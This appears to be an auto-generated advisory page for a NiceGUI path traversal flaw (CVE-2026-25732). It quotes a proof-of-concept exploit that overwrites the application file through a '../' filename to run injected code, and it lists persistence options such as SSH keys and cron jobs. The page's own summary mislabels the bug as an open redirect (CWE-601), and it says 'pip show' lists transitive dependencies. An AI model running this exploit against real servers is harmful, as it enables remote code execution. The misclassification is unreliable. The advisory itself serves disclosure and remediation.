CVE-2026-25732: Nicegui Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-9ffm-fxg3-xrhh
CVSS 7.5
CWE-601 CWE-22
Published
Advisory Summary

CVE-2026-25732 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Nicegui libraries in the PyPI ecosystem. The issue involves nicegui's path traversal via unsanitized fileupload.name enables arbitrary file write. Remediation is available by upgrading affected packages to version 3.7.0.

CVE-2026-25732 at a Glance

CVE Identifier CVE-2026-25732
GHSA Identifier GHSA-9ffm-fxg3-xrhh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Nicegui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-25732

To remediate this vulnerability, upgrade all affected Nicegui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nicegui fixed: 3.7.0
pip install nicegui>=3.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show nicegui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25732, inspect your installed packages using pip:

pip show nicegui

Analyze the terminal output to locate any version of Nicegui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.7.0), your application is affected.

Note: The pip show nicegui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Nicegui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary NiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. **Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. ### Details **Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115)) **Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()` ```py async def save(self, path: str | Path) -> None: target = Path(path) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ``` **Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts: - Relative paths with `../` sequences - Absolute paths - Any file system location writable by the process When developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs: ```py save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py" await e.file.save(save_path) # Writes outside UPLOAD_DIR ``` ### PoC - Terminal 1 (App) ```bash cd /tmp && mkdir -p evilgui && cd evilgui python3 -m venv evilgui && source evilgui/bin/activate pip install nicegui cat > vulnerable_app.py << 'EOF' from nicegui import ui from pathlib import Path UPLOAD_DIR = Path('./uploads') UPLOAD_DIR.mkdir(exist_ok=True) @ui.page('/') def index(): async def handle_upload(e): save_path = UPLOAD_DIR / e.file.name await e.file.save(save_path) ui.notify(f'File saved: {e.file.name}') ui.upload(on_upload=handle_upload, auto_upload=True) ui.run(port=8080, reload=False) EOF python3 vulnerable_app.py & ``` - Terminal 2 (Exploit) ```bash cat > exploit.py << 'EOF' import requests, re, time s = requests.Session() s.get('http://localhost:8080') time.sleep(2) html = s.get('http://localhost:8080').text match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html) upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}' payload = '''from nicegui import ui import subprocess @ui.page("/") def index(): ui.label(subprocess.check_output(["id"], text=True)) ui.run(port=8080, reload=False) ''' s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')}) EOF python3 exploit.py ``` - Restart the application to execute the injected code: ``` pkill -f vulnerable_app && python3 vulnerable_app.py ``` - Observe http://localhost:8080 ### Impact **Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path. **Attack Capabilities**: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files **Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples. ### Remediation #### For Users ```py async def handle_upload(e): safe_name = Path(e.file.name).name # Strip directory components! await e.file.save(UPLOAD_DIR / safe_name) ``` #### For Maintainers ```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve() if base_dir is not None: base_dir = base_dir.resolve() if not target.is_relative_to(base_dir): raise ValueError( f"Path '{target}' escapes base directory '{base_dir}'" ) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ````

CVE-2026-25732 Affected Nicegui Versions

1 component(s)
Fixed Versions:
3.7.0
Product / Package Ecosystem Affected Versions Fixed Version
nicegui
PyPI
< 3.7.0
3.7.0

References

Frequently Asked Questions

What is CVE-2026-25732?
CVE-2026-25732 is a security vulnerability in Nicegui involving NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Nicegui versions are affected?
Affected versions include releases prior to 3.7.0 across affected packages: nicegui.
What version fixes CVE-2026-25732?
Upgrading to 3.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nicegui affected?
Yes, nicegui is affected in releases prior to 3.7.0. Upgrade your dependency to 3.7.0 or later.
What is the CVSS score of CVE-2026-25732?
CVE-2026-25732 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-25732?
CVE-2026-25732 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check PyPI dependencies for CVE-2026-25732?
Run the dependency tree command: 'pip show nicegui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9ffm-fxg3-xrhh",
  "modified" : "2026-06-06T14:45:40Z",
  "published" : "2026-02-05T21:08:53Z",
  "aliases" : [ "CVE-2026-25732" ],
  "summary" : "NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write",
  "details" : "### Summary\nNiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -> None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp && mkdir -p evilgui && cd evilgui\npython3 -m venv evilgui && source evilgui/bin/activate\npip install nicegui\n\ncat > vulnerable_app.py << 'EOF'\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path('./uploads')\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page('/')\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f'File saved: {e.file.name}')\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py &\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat > exploit.py << 'EOF'\nimport requests, re, time\n\ns = requests.Session()\ns.get('http://localhost:8080')\ntime.sleep(2)\n\nhtml = s.get('http://localhost:8080').text\nmatch = re.search(r'/_nicegui/client/([^/]+)/upload/(\\d+)', html)\nupload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'\n\npayload = '''from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n'''\n\ns.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app && python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path '{target}' escapes base directory '{base_dir}'\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nicegui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zauberzeug/nicegui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-601" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:08:53Z",
    "nvd_published_at" : "2026-02-06T22:16:11Z"
  }
}